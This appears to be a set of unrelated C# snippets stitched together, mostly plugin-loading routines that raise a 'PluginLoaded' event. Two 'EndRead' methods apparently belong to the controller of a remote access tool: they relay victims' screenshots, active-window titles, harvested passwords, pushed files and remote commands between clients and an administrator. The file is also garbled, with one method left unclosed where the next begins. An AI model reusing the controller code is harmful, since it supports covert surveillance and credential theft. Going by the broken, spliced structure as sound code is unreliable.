/// <summary>
/// Loads the plugin at the given path.
/// </summary>
/// <param name="path">The path to the plugin assembly.</param>
/// <returns>Whether the plugin was loaded successfully or not.</returns>
public static Exception Load(string path)
{
try
{
Assembly asm = Assembly.LoadFrom(path);
TypeInfo type = asm.DefinedTypes.FirstOrDefault(t => t.IsSubclassOf(typeof(RPlugin)));
if (type == null)
{
return(new Exception("Plugin class not found."));
}
else
{
RPlugin plugin = Activator.CreateInstance(type) as RPlugin;
if (plugin == null)
{
return(new Exception("Failed to create plugin instance."));
}
else
{
PluginContainer container = new PluginContainer(plugin);
_plugins.Add(plugin, container);
plugin.Load();
container.Options.SetDefaults();
container.Options.Load();
PluginLoaded?.Invoke(container);
return(null);
}
}
}
catch (Exception e)
{
return(e);
}
}
public async Task LoadModules(string path, string filter)
{
await Task.Run(() =>
{
try
{
var curplug = 0;
var pluginFiles = System.IO.Directory.GetFiles(path, filter, System.IO.SearchOption.TopDirectoryOnly);
foreach (var filename in pluginFiles)
{
ReportProgress?.Invoke(this, new ReportProgressEventArgs(++curplug, pluginFiles.Length, "Loading plugins...", OperationTag.Active));
var types = AssemblyLoader.LoadClassesFromFile <IInstallerModule>(System.IO.Path.GetFullPath(filename)).Where(t => t != null);
if (types.Any())
{
PluginLoaded?.Invoke(this, new PluginLoadedEventArgs(types));
}
}
}
catch (Exception ex)
{
ErrorOccured?.Invoke(this, new ErrorOccuredEventArgs(ex, "Error loading modules"));
}
finally
{
ReportProgress?.Invoke(this, new ReportProgressEventArgs(0, StatusName.Idle, OperationTag.None));
LoadingFinished?.Invoke(this, EventArgs.Empty);
}
});
}
public ValueTask Load(IPlugin plugin)
{
var pluginDesciptorAttr = plugin.GetType().GetCustomAttribute <EmberPluginAttribute>();
var pluginDesciptor = pluginDesciptorAttr.ToString();
try
{
if (plugin is IEntryComponent entry)
{
EntryComponents.Add(entry);
}
var pluginScope = PluginLayerScope.BeginLifetimeScope(plugin.GetType(), (builder) => plugin.BuildComponents(new ComponentBuilder(builder, PluginLayerScope)));
if (!PluginScopes.ContainsKey(plugin))
{
PluginScopes.Add(plugin, pluginScope);
PluginStatus.Add(plugin, false);
foreach (var entryRegistrion in pluginScope.ComponentRegistry.Registrations)
{
if (entryRegistrion.Activator.LimitType.IsAssignableTo <IEntryComponent>())
{
EntryComponents.Add((IEntryComponent)pluginScope.Resolve(entryRegistrion.Activator.LimitType));
}
}
}
else
{
PluginScopes[plugin] = pluginScope;
}
}
catch (Exception e)
{
Logger.LogWarning(e, $"Can't load {pluginDesciptor}");
}
PluginLoaded?.Invoke(PluginDescriptor.FromAttribute(pluginDesciptorAttr));
return(default);
private void OnPluginLoaded(IPlugin plugin)
{
if (PluginLoaded != null)
{
PluginLoaded.Invoke(this, new PluginEventArgs(plugin));
}
}
private static void InvokeInitialize(Plugin plugin)
{
try
{
Debug.Write(LogType.Log, "Loading plugin " + plugin);
PluginLoading?.Invoke(plugin);
plugin.Initialize();
PluginLoaded?.Invoke(plugin);
}
catch (Exception ex)
{
Debug.LogException(ex);
Debug.LogErrorFormat("Failed to initialize plugin {0}. {1}", plugin, ex.Message);
}
}
internal async void OnPluginLoaded(IPluginContainer container)
{
await _taskFactory.StartNew(() => PluginLoaded?.Invoke(this, new PluginEventArgs(container))).ConfigureAwait(false);
}
protected virtual void OnPluginLoaded(PluginEventArgs e)
{
PluginLoaded?.Invoke(this, e);
}
private void EndRead(IAsyncResult asyncResult)
{
try
{
byte parameter;
try
{
parameter = _readByteDelegate.EndInvoke(asyncResult); //no data available
}
catch (IOException)
{
Dispose();
return;
}
var size = _binaryReader.ReadInt32();
var bytes = _binaryReader.ReadBytes(size);
LastAnswer = DateTime.UtcNow;
ushort administrationId;
switch ((FromClientPackage)parameter)
{
case FromClientPackage.ResponseToAdministration:
case FromClientPackage.ResponseToAdministrationCompressed:
administrationId = BitConverter.ToUInt16(bytes, 0);
Logger.Debug("Client CI-{0} sends command response to administration AI-{1}", Id, administrationId);
SendToAdministration?.Invoke(this,
new SendPackageToAdministrationEventArgs(administrationId, parameter,
new WriterCall(bytes, 2, bytes.Length - 2)));
break;
case FromClientPackage.ResponseLoginOpen:
administrationId = BitConverter.ToUInt16(bytes, 0);
Logger.Debug("Client CI-{0} opened session with AI-{1}", Id, administrationId);
SendToAdministration?.Invoke(this,
new SendPackageToAdministrationEventArgs(administrationId,
(byte)FromClientPackage.ResponseLoginOpen, new WriterCall(BitConverter.GetBytes(Id))));
break;
case FromClientPackage.SubmitExceptions:
//log handled in server
ExceptionsReveived?.Invoke(this,
new ExceptionsReveivedEventArgs(
ExceptionInfosSerializer.Value.Deserialize <List <ExceptionInfo> >(LZF.Decompress(bytes, 0))));
break;
case FromClientPackage.ServerPackage:
//log handled in server
ProcessServerPackage(ServerPackageSerializer.Value.Deserialize <ServerPackage>(bytes));
break;
case FromClientPackage.ResponseStaticCommandResult:
var dynamicCommandId = BitConverter.ToInt32(bytes, 0);
var message = "";
ActivityType activityType;
if (ComputerInformation.ClientVersion >= 19)
{
activityType = (ActivityType)bytes[4];
}
else
{
activityType = bytes[4] == 0 ? ActivityType.Succeeded : ActivityType.Failed;
}
if (ComputerInformation.ClientVersion >= 13)
{
message = Encoding.UTF8.GetString(bytes, 5, bytes.Length - 5);
}
ReceivedStaticCommandResult?.Invoke(this,
new DynamicCommandEvent
{
ClientId = Id,
DynamicCommand = dynamicCommandId,
Timestamp = DateTime.UtcNow,
Message = message,
Status = activityType
});
break;
case FromClientPackage.PluginLoaded:
var pluginInfo = new PluginInfo
{
Guid = new Guid(bytes.Take(16).ToArray()),
Version = Encoding.ASCII.GetString(bytes, 16, bytes.Length - 16),
IsLoaded = true
};
Logger.Debug("Client CI-{0} loaded plugin {1:D} successfully", Id, pluginInfo.Guid);
ComputerInformation.Plugins.Add(pluginInfo);
PluginLoaded?.Invoke(this, new PluginLoadedEventArgs(pluginInfo));
break;
case FromClientPackage.PluginLoadFailed:
Logger.Debug("Client CI-{0} was unable to load plugin", Id);
SendToAdministration?.Invoke(this,
new SendPackageToAdministrationEventArgs(BitConverter.ToUInt16(bytes, 0),
(byte)FromClientPackage.PluginLoadFailed, new WriterCall(2 + bytes.Length, writer =>
{
writer.Write(Id);
writer.Write(bytes, 2, bytes.Length - 2);
})));
break;
case FromClientPackage.ResponseActiveWindow:
administrationId = BitConverter.ToUInt16(bytes, 0);
//+ 4 because of client id int, -2 because of administration id ushort
SendToAdministration?.Invoke(this,
new SendPackageToAdministrationEventArgs(administrationId,
(byte)FromClientPackage.ResponseActiveWindow, new WriterCall(bytes.Length + 2,
writer =>
{
writer.Write(Id);
writer.Write(bytes, 2, bytes.Length - 2);
})));
break;
case FromClientPackage.ResponseScreenshot:
administrationId = BitConverter.ToUInt16(bytes, 0);
//+ 4 because of client id int, -2 because of administration id ushort
SendToAdministration?.Invoke(this,
new SendPackageToAdministrationEventArgs(administrationId,
(byte)FromClientPackage.ResponseScreenshot, new WriterCall(bytes.Length + 2,
writer =>
{
writer.Write(Id);
writer.Write(bytes, 2, bytes.Length - 2);
})));
break;
case FromClientPackage.InitializePushFile:
//log handled in PushManager
_tcpServerInfo.PushManager.PushRequest(new Guid(bytes), this);
break;
case FromClientPackage.PushHeader:
FilePush?.Invoke(this,
new FilePushEventArgs(FilePushPackageType.Header, bytes,
new Guid(bytes.Take(16).ToArray())));
break;
case FromClientPackage.PushFileData:
FilePush?.Invoke(this,
new FilePushEventArgs(FilePushPackageType.Data, bytes,
new Guid(bytes.Take(16).ToArray())));
break;
case FromClientPackage.StillAlive:
break;
case FromClientPackage.RequestStaticCommandPlugin:
_tcpServerInfo.DynamicCommandManager.DynamicCommandPluginSender.RequestPlugin(this,
BitConverter.ToInt32(bytes, 0));
break;
case FromClientPackage.ResponseLibraryInformation:
Logger.Debug("Client CI-{0} requests more detailed information about library", Id);
SendToAdministration?.Invoke(this,
new SendPackageToAdministrationEventArgs(BitConverter.ToUInt16(bytes, 0),
(byte)FromClientPackage.ResponseLibraryInformation, new WriterCall(2 + bytes.Length, writer =>
{
writer.Write(Id);
writer.Write(bytes, 2, bytes.Length - 2);
})));
break;
case FromClientPackage.ResponseLibraryLoadingResult:
Logger.Debug("Client CI-{0} responded with the result of the library loading operation", Id);
SendToAdministration?.Invoke(this,
new SendPackageToAdministrationEventArgs(BitConverter.ToUInt16(bytes, 0),
(byte)FromClientPackage.ResponseLibraryLoadingResult, new WriterCall(2 + bytes.Length, writer =>
{
writer.Write(Id);
writer.Write(bytes, 2, bytes.Length - 2);
})));
break;
case FromClientPackage.CheckStillAlive:
break; //do nothing, TCP already responded when this package is here
default:
throw new ArgumentOutOfRangeException();
}
_readByteDelegate.BeginInvoke(EndRead, null);
}
catch (Exception ex)
{
if (IsDisposed)
{
return;
}
Logger.Fatal(ex, "Error on reading data from client CI-{0}", Id);
Dispose();
}
}
public async Task LoadPlugins(string basePath, List <string> include, List <string> exclude, string[] args)
{
LoadStarting?.Invoke(this, null);
var uniqueFiles = await GetAllPluginFiles(basePath);
foreach (var file in uniqueFiles)
{
var dlls = await Task.Run(() => Directory.GetFiles(Path.GetDirectoryName(file), "*.dll", SearchOption.AllDirectories));
_dlls.AddRange(dlls);
}
var argsDict = new Dictionary <string, string>();
foreach (var arg in args)
{
var parts = arg.Split(new char[] { '=' }, StringSplitOptions.RemoveEmptyEntries);
if (parts.Length >= 2)
{
argsDict[parts[0]] = string.Join("=", parts.Skip(1));
}
}
var currentLoaded = new List <IPlugin>();
foreach (var file in uniqueFiles)
{
var name = Path.GetFileName(file).Split('.')[2];
if (include.Any(i => name.ToLower().StartsWith(i.ToLower()) || i == "*") && (exclude == null || !exclude.Any(e => name.ToLower().StartsWith(e.ToLower()) || e == "*")))
{
try
{
_logger.Info(this, $"Loading plugin: {Path.GetFileName(file)} - {file}");
var ass = LoadAssembly(file);
var pluginType = GetTypesSafely(ass).FirstOrDefault(t => typeof(IPlugin).IsAssignableFrom(t));
if (pluginType == null)
{
continue;
}
var inst = _kernel.Get(pluginType) as IPlugin;
foreach (var prop in GetTypeInjectableProperties(pluginType))
{
var attr = prop.GetCustomAttribute <PanaceaInjectAttribute>();
if (argsDict.ContainsKey(attr.Alias))
{
prop.SetValue(inst, Convert.ChangeType(argsDict[attr.Alias], prop.PropertyType));
}
}
currentLoaded.Add(inst);
_loadedPlugins.Add(name, inst);
PluginLoaded?.Invoke(this, inst);
}
catch
{
if (Debugger.IsAttached)
{
Debugger.Break();
}
}
}
}
foreach (var inst in currentLoaded)
{
try
{
await inst.BeginInit();
}
catch (Exception ex)
{
_logger.Error(this, ex.Message);
if (Debugger.IsAttached)
{
Debugger.Break();
}
}
}
foreach (var inst in currentLoaded)
{
try
{
await inst.EndInit();
}
catch
{
if (Debugger.IsAttached)
{
Debugger.Break();
}
}
}
LoadFinished?.Invoke(this, null);
}
private void EndRead(IAsyncResult asyncResult)
{
try
{
var parameter = _readByteDelegate.EndInvoke(asyncResult);
var size = Sender.Connection.BinaryReader.ReadInt32();
var bytes = Sender.Connection.BinaryReader.ReadBytes(size);
Serializer serializer;
OnlineClientInformation client;
int clientId;
PackageInformation packageInformation = null;
if (PackageReceived != null)
{
packageInformation = new PackageInformation
{
Size = bytes.Length + 1,
Timestamp = DateTime.Now,
IsReceived = true
}
}
;
switch ((FromClientPackage)parameter)
{
case FromClientPackage.ResponseToAdministration:
case FromClientPackage.ResponseToAdministrationCompressed:
var isCompressed = parameter == (byte)FromClientPackage.ResponseToAdministrationCompressed;
var data = isCompressed
? LZF.Decompress(bytes, 1)
: bytes;
if (packageInformation != null)
{
packageInformation.Description = (FromClientPackage)parameter + " " +
CurrentController.DescribePackage(bytes[0], data,
isCompressed ? 0 : 1);
}
CurrentController?.PackageReceived(bytes[0], data, isCompressed ? 0 : 1);
break;
case FromClientPackage.ResponseLoginOpen:
clientId = BitConverter.ToInt32(bytes, 0);
client = _loginsPending.FirstOrDefault(x => x.Id == clientId);
if (client == null)
{
Logger.Error((string)Application.Current.Resources["CouldNotFindClient"]);
break;
}
_loginsPending.Remove(client);
Application.Current.Dispatcher.BeginInvoke(new Action(() =>
{
CurrentController = new ClientController(client, Sender, this);
((Commander)CurrentController.Commander).ConnectionInfo.PackageSent +=
_packageSentEventHandler;
LoginOpened?.Invoke(this, EventArgs.Empty);
}));
break;
case FromClientPackage.NewClientConnected:
serializer =
new Serializer(new[] { typeof(ClientInformation), typeof(OnlineClientInformation) });
client = serializer.Deserialize <OnlineClientInformation>(bytes);
Logger.Info(string.Format((string)Application.Current.Resources["NewClientConnected"],
client.IpAddress, client.Port, client.UserName));
lock (_clientListUpdateLock)
Application.Current.Dispatcher.Invoke(() => ClientProvider.NewClientConnected(client));
NewClientConnected?.Invoke(this, client);
break;
case FromClientPackage.ClientConnected:
serializer =
new Serializer(new[] { typeof(ClientInformation), typeof(OnlineClientInformation) });
client = serializer.Deserialize <OnlineClientInformation>(bytes);
Logger.Info(string.Format((string)Application.Current.Resources["NewClientConnected"],
client.IpAddress, client.Port, client.UserName));
lock (_clientListUpdateLock)
Application.Current.Dispatcher.Invoke(() => ClientProvider.ClientConnected(client));
ClientConnected?.Invoke(this, client);
break;
case FromClientPackage.ClientDisconnected:
var disconnectedClientId = BitConverter.ToInt32(bytes, 0);
if (CurrentController != null && CurrentController.Client.Id == disconnectedClientId)
{
CurrentController.Dispose();
CurrentController = null;
}
lock (_clientListUpdateLock)
Application.Current.Dispatcher.Invoke(
() => ClientProvider.ClientDisconnected(disconnectedClientId));
ClientDisconnected?.Invoke(this, disconnectedClientId);
break;
case FromClientPackage.ComputerInformationAvailable:
var clientWithComputerInformationId = BitConverter.ToInt32(bytes, 0);
Application.Current.Dispatcher.BeginInvoke(
new Action(
() => ClientProvider.ComputerInformationAvailable(clientWithComputerInformationId)));
break;
case FromClientPackage.PasswordsAvailable:
var clientWithPasswordsId = BitConverter.ToInt32(bytes, 0);
ClientProvider.PasswordsAvailable(clientWithPasswordsId);
break;
case FromClientPackage.GroupChanged:
var newGroupNameLength = BitConverter.ToInt32(bytes, 0);
var newGroupName = Encoding.UTF8.GetString(bytes, 4, newGroupNameLength);
var clients = new Serializer(typeof(List <int>)).Deserialize <List <int> >(bytes,
4 + newGroupNameLength);
ClientProvider.ClientGroupChanged(clients, newGroupName);
Logger.Receive((string)Application.Current.Resources["GroupChanged"]);
break;
case FromClientPackage.ClientsRemoved:
serializer = new Serializer(typeof(List <int>));
var removedClientsIds = serializer.Deserialize <List <int> >(bytes);
lock (_clientListUpdateLock)
Application.Current.Dispatcher.Invoke(
() => ClientProvider.ClientRemoved(removedClientsIds));
if (removedClientsIds.Count == 1)
{
Logger.Receive((string)Application.Current.Resources["ClientRemoved"]);
}
else
{
Logger.Receive(string.Format((string)Application.Current.Resources["ClientsRemoved"],
removedClientsIds.Count));
}
break;
case FromClientPackage.DynamicCommandsRemoved:
DynamicCommandsRemoved?.Invoke(this,
new Serializer(typeof(List <int>)).Deserialize <List <int> >(bytes));
break;
case FromClientPackage.PluginLoaded:
clientId = BitConverter.ToInt32(bytes, 0);
var pluginInfo = new Serializer(typeof(PluginInfo)).Deserialize <PluginInfo>(bytes, 4);
ClientProvider.ClientPluginAvailable(clientId, pluginInfo);
PluginLoaded?.Invoke(this,
new PluginLoadedEventArgs(clientId, pluginInfo.Guid, pluginInfo.Version, true));
break;
case FromClientPackage.PluginLoadFailed:
clientId = BitConverter.ToInt32(bytes, 0);
PluginLoadingFailed?.Invoke(this,
new PluginLoadedEventArgs(clientId, new Guid(bytes.Skip(4).Take(16).ToArray()),
Encoding.ASCII.GetString(bytes.Skip(20).ToArray()), false));
break;
case FromClientPackage.DataTransferProtocolResponse:
if (packageInformation != null)
{
packageInformation.Description = "DataTransferProtocolResponse - " +
DataTransferProtocolFactory.DescribeReceivedData(bytes, 0);
}
DataTransferProtocolFactory.Receive(bytes);
break;
case FromClientPackage.ResponseActiveWindow:
clientId = BitConverter.ToInt32(bytes, 0);
var clientViewModel = ClientProvider.Clients.FirstOrDefault(x => x.Id == clientId);
if (clientViewModel != null)
{
clientViewModel.ActiveWindow = Encoding.UTF8.GetString(bytes, 4, bytes.Length - 4);
}
break;
case FromClientPackage.ResponseScreenshot:
clientId = BitConverter.ToInt32(bytes, 0);
var clientViewModel2 = ClientProvider.Clients.FirstOrDefault(x => x.Id == clientId);
if (clientViewModel2 != null)
{
using (var stream = new MemoryStream(bytes, 4, bytes.Length - 4))
using (var image = (Bitmap)Image.FromStream(stream))
clientViewModel2.Thumbnail = BitmapConverter.ToBitmapSource(image);
}
break;
case FromClientPackage.DataRemoved:
DataRemoved?.Invoke(this, new Serializer(typeof(List <int>)).Deserialize <List <int> >(bytes));
break;
case FromClientPackage.PasswordsRemoved:
var clientIds = new Serializer(typeof(List <int>)).Deserialize <List <int> >(bytes);
foreach (var id in clientIds)
{
ClientProvider.PasswordsRemoved(id);
}
PasswordsRemoved?.Invoke(this, clientIds);
break;
case FromClientPackage.DataDownloadPackage:
DownloadDataReceived?.Invoke(this, bytes);
break;
case FromClientPackage.StaticCommandPluginReceived:
StaticCommandReceived?.Invoke(this, bytes);
break;
case FromClientPackage.StaticCommandPluginTransmissionFailed:
StaticCommandTransmissionFailed?.Invoke(this, bytes);
break;
case FromClientPackage.DynamicCommandAdded:
DynamicCommandAdded?.Invoke(this,
new Serializer(RegisteredDynamicCommand.RequiredTypes).Deserialize <RegisteredDynamicCommand>(bytes));
break;
case FromClientPackage.DynamicCommandEventsAdded:
DynamicCommandEventsAdded?.Invoke(this,
new Serializer(typeof(List <DynamicCommandEvent>)).Deserialize <List <DynamicCommandEvent> >(
bytes));
break;
case FromClientPackage.DynamicCommandStatusUpdate:
DynamicCommandStatusUpdated?.Invoke(this,
new DynamicCommandStatusUpdatedEventArgs(BitConverter.ToInt32(bytes, 0),
(DynamicCommandStatus)bytes[4]));
break;
case FromClientPackage.ResponseLibraryInformation:
LibraryInformationReceived?.Invoke(this,
new LibraryInformationEventArgs(BitConverter.ToInt32(bytes, 0),
(PortableLibrary)BitConverter.ToInt32(bytes, 4)));
break;
case FromClientPackage.ResponseLibraryLoadingResult:
LibraryLoadingResultReceived?.Invoke(this,
new LibraryInformationEventArgs(BitConverter.ToInt32(bytes, 0),
(PortableLibrary)BitConverter.ToInt32(bytes, 4)));
break;
case FromClientPackage.ActiveCommandsChanged:
ActiveCommandsChanged?.Invoke(this,
new Serializer(typeof(ActiveCommandsUpdate)).Deserialize <ActiveCommandsUpdate>(bytes, 0));
break;
default:
throw new ArgumentOutOfRangeException();
}
if (packageInformation != null)
{
if (string.IsNullOrEmpty(packageInformation.Description))
{
packageInformation.Description = ((FromClientPackage)parameter).ToString();
}
PackageReceived?.Invoke(this, packageInformation);
}
_readByteDelegate.BeginInvoke(EndRead, null);
}
catch (Exception ex)
{
if (!(ex is IOException) || ex.HResult != -2147024858)
{
LogManager.GetCurrentClassLogger().Warn(ex, "Disconnected from server");
if (Application.Current != null)
{
Logger.Error(string.Format((string)Application.Current.Resources["DisconnectedFromServerException"],
ex.Message));
}
}
else if (Application.Current != null)
{
Logger.Warn((string)Application.Current.Resources["DisconnectedFromServer"]);
}
else
{
LogManager.GetCurrentClassLogger().Warn("NullReference");
}
Dispose();
Disconnected?.Invoke(this, EventArgs.Empty);
}
}
/// <summary>
/// Raises the <see cref="PluginLoaded" /> event.
/// </summary>
/// <seealso cref="EventArgs" />
protected virtual void OnPluginLoaded()
{
PluginLoaded?.Invoke(this, EventArgs.Empty);
}
internal static void AddPlugin(Plugin plugin)
{
_loadedPlugins.Add(plugin);
PluginLoaded?.Invoke(new PluginEventArgs(plugin.PluginType));
}
private static void LoadPluginsFromDisk()
{
#pragma warning disable S3885 // "Assembly.Load" should be used
Assembly.LoadFile(Path.Combine(Application.StartupPath, "KeraLua.dll"));
Assembly.LoadFile(Path.Combine(Application.StartupPath, "NLua.dll"));
Assembly.LoadFile(Path.Combine(Application.StartupPath, "ICSharpCode.TextEditor.dll"));
var directories = Directory.GetDirectories(Settings2.Instance.PluginSourceFolder);
foreach (string directory in directories)
{
try
{
log.Info($"Processing directory <{directory}>");
var md5ForFolder = Utils.CreateMd5ForFolder(directory);
var dllPath = $"{AppFolders.PluginsBinariesDir}\\{md5ForFolder}.dll";
Assembly dll;
if (!File.Exists(dllPath))
{
dll = CompilePlugin(directory);
log.Info($"Plug-in from directory <{directory}> is compiled");
}
else
{
dll = Assembly.LoadFile(dllPath);
log.Info($"Plug-in from directory <{directory}> with hash {md5ForFolder} is already compiled");
}
if (dll != null)
{
var type = dll.GetTypes().FirstOrDefault(k => k.IsClass && typeof(IPlugin3).IsAssignableFrom(k));
if (type != default(Type))
{
IPlugin3 temp = null;
if (typeof(Control).IsAssignableFrom(type))
{
log.Info($"Plug-in from directory <{directory}> creates control(s) in it's constructor!");
MainWindow.Instance.Invoke((MethodInvoker) delegate { temp = (IPlugin3)Activator.CreateInstance(type); });
}
else
{
temp = (IPlugin3)Activator.CreateInstance(type);
}
if (_pluginContainers.Select(l => l.Plugin).All(l => l.Name != temp.Name))
{
if (!string.IsNullOrWhiteSpace(temp.Name))
{
_pluginContainers.Add(new PluginContainer(temp));
log.Info($"Plug-in loaded: {temp.Name} {temp.Version}");
PluginLoaded?.Invoke(temp);
}
else
{
throw new MissingFieldException("<IPlugin2.Name> is empty");
}
}
else
{
log.Info($"Can't load plug-in [{temp.Name}]: already loaded");
}
}
else
{
throw new BadImageFormatException("Can't find IPlugin2 interface in plug-in image!");
}
}
else
{
throw new BadImageFormatException("Plug-in image is null!");
}
}
catch (Exception ex)
{
log.Info($"Can't load plug-in <{directory}>: {ex.Message}");
Notify.TrayPopup("[PluginManager] Plug-in error", $"Plug-in from folder '{directory}' cannot be loaded.\r\nClick here to open the website with updated versions of plug-ins",
NotifyUserType.Warn, true, null, 10, (sender, args) => Process.Start(Globals.PluginsURL));
}
}
#pragma warning restore S3885 // "Assembly.Load" should be used
}